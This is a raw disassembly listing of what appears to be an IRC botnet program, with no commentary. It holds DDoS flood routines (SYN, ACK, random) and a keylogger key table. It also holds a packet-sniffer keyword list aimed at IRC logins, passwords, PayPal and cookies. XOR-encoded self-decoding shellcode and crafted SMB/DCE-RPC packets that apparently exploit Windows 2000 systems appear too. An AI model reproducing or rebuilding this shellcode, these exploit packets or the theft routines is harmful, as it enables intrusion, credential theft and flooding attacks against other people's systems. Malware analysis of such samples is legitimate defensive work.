dd 210000h, 4 dup(0) dd 22h, 3 dup(0) dd 2620000h, 154h dup(0) dword_423000 dd 0 ; DATA XREF: sub_4177FA+1Fo dd offset sub_4036CF dd offset sub_404EE6 dd offset sub_4200C4 dword_423010 dd 0 ; DATA XREF: sub_4177FA+1Ao dword_423014 dd 0 ; DATA XREF: sub_4177FA+10o dd offset sub_416852 dd offset sub_41C384 dd offset sub_41D0D6 dd offset sub_41DF48 dword_423028 dd 0 ; DATA XREF: sub_4177FA:loc_417805o dword_42302C dd 0 ; DATA XREF: sub_417849+65o dd offset sub_41D17B dword_423034 dd 0 ; DATA XREF: sub_417849:loc_4178A9o dword_423038 dd 0 ; DATA XREF: sub_417849+76o dd offset sub_41DF59 dword_423040 dd 4 dup(0) ; DATA XREF: sub_417849:loc_4178BAo unk_423050 db 2 ; DATA XREF: sub_401000+5Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_42308C db 2 ; DATA XREF: sub_4010B2+302o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 64h, 6Fh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 10h aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o align 4 unk_4230E4 db 2 ; DATA XREF: sub_401447+397o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 unk_423148 db 2 ; DATA XREF: sub_401447+307o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 unk_4231AC db 2 ; DATA XREF: sub_401447+12Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 10h unk_4231E0 db 2 ; DATA XREF: sub_401447+C2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_42322C db 2 ; DATA XREF: sub_401447+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 20h db 69h, 63h, 6Dh db 70h ; p db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 dword_423274 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_40182E+48o dd 2029206Ch, 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h dword_4232B0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh ; DATA XREF: sub_4018CA+27Do dd 2029206Ch, 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4232E0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+4EBo dd 2029206Ch, 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_423344 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+44Fo dd 2029206Ch, 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401BD6+312o ; sub_40CE55+2B28o ... align 10h aAck db 'ack',0 ; DATA XREF: sub_401BD6+2F2o ; sub_40CE55+2B11o aSyn db 'syn',0 ; DATA XREF: sub_401BD6+2D2o ; sub_40CE55+2AF9o dword_4233B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+15Fo dd 2029206Ch, 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4233EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+EEo dd 2029206Ch, 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_423438 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh ; DATA XREF: sub_401BD6+70o dd 2029206Ch, 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4021FB:loc_4022DEo unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_423BB4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_423BEC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh ; DATA XREF: sub_40211A+AEo dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_40211A+4Eo ; sub_40CE55+29D7o align 10h asc_423C30: ; DATA XREF: sub_40211A+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo align 10h off_423C80 dd offset dword_4244F8 ; DATA XREF: sub_4024DC+29Er dd offset off_4244F4 dd offset aFtp ; "FTP" dd offset aHttp ; "HTTP" dword_423C90 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_4024DC+1DEo dword_423CA4 dd 0 ; DATA XREF: sub_4024DC+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: .nsp0:00423C8Co align 10h aFtp db 'FTP',0 ; DATA XREF: .nsp0:00423C88o off_4244F4 dd offset byte_435249 ; DATA XREF: .nsp0:00423C84o dword_4244F8 dd 544F42h ; DATA XREF: .nsp0:off_423C80o unk_4244FC db 2 ; DATA XREF: sub_4024DC+2FCo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_424544 db 2 ; DATA XREF: sub_4024DC+2ABo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024DC+235o align 4 unk_424598 db 2 ; DATA XREF: sub_4024DC+186o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 4 unk_4245E4 db 2 ; DATA XREF: sub_4024DC+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 dword_42462C dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h ; DATA XREF: sub_4024DC+85o dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 73203A72h dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h dd 64656E72h, 253C203Ah, 2E3E64h, 0 ; --------------------------------------------------------------------------- jmp short loc_42468A ; =============== S U B R O U T I N E ======================================= sub_42467A proc far ; CODE XREF: sub_42467A:loc_42468Ap pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_424682: ; CODE XREF: sub_42467A+Cj xor byte ptr [ebx+ecx], 99h loop loc_424682 jmp short loc_42468F ; --------------------------------------------------------------------------- loc_42468A: ; CODE XREF: .nsp0:00424678j call near ptr sub_42467A loc_42468F: ; CODE XREF: sub_42467A+Ej jo short loc_4246F3 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_424711 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_4246F3: ; CODE XREF: sub_42467A:loc_42468Fj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_424711: ; CODE XREF: sub_42467A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_42467A endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_4247B8: ; DATA XREF: sub_402988+150o ; sub_402988+20Do jmp short loc_4247CA ; =============== S U B R O U T I N E ======================================= sub_4247BA proc near ; CODE XREF: sub_4247BA:loc_4247CAp pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_4247C2: ; CODE XREF: sub_4247BA+Cj xor byte ptr [edx+ecx], 99h loop loc_4247C2 jmp short loc_4247CF ; --------------------------------------------------------------------------- loc_4247CA: ; CODE XREF: .nsp0:loc_4247B8j call sub_4247BA loc_4247CF: ; CODE XREF: sub_4247BA+Ej jo short near ptr dword_424748+1Eh cwde cdq cdq retn sub_4247BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_424868 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_402988+101o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_424950 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_402DDD+7Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4249DC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DDD+AAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_424A88 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402DDD+CFo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_424B68 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_402988+86o unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_424BCC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+2B0o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_424C38 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+2DBo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_424CDC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+3C3o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_424D5C dd offset loc_401495 ; DATA XREF: sub_402988+3F1o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_424DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+314o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_424E5C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_402988+33Fo dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_424ED0 dd 0 ; DATA XREF: sub_402988+36Do dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) word_424F58 dw 0AD9Dh ; DATA XREF: sub_40283D+30r 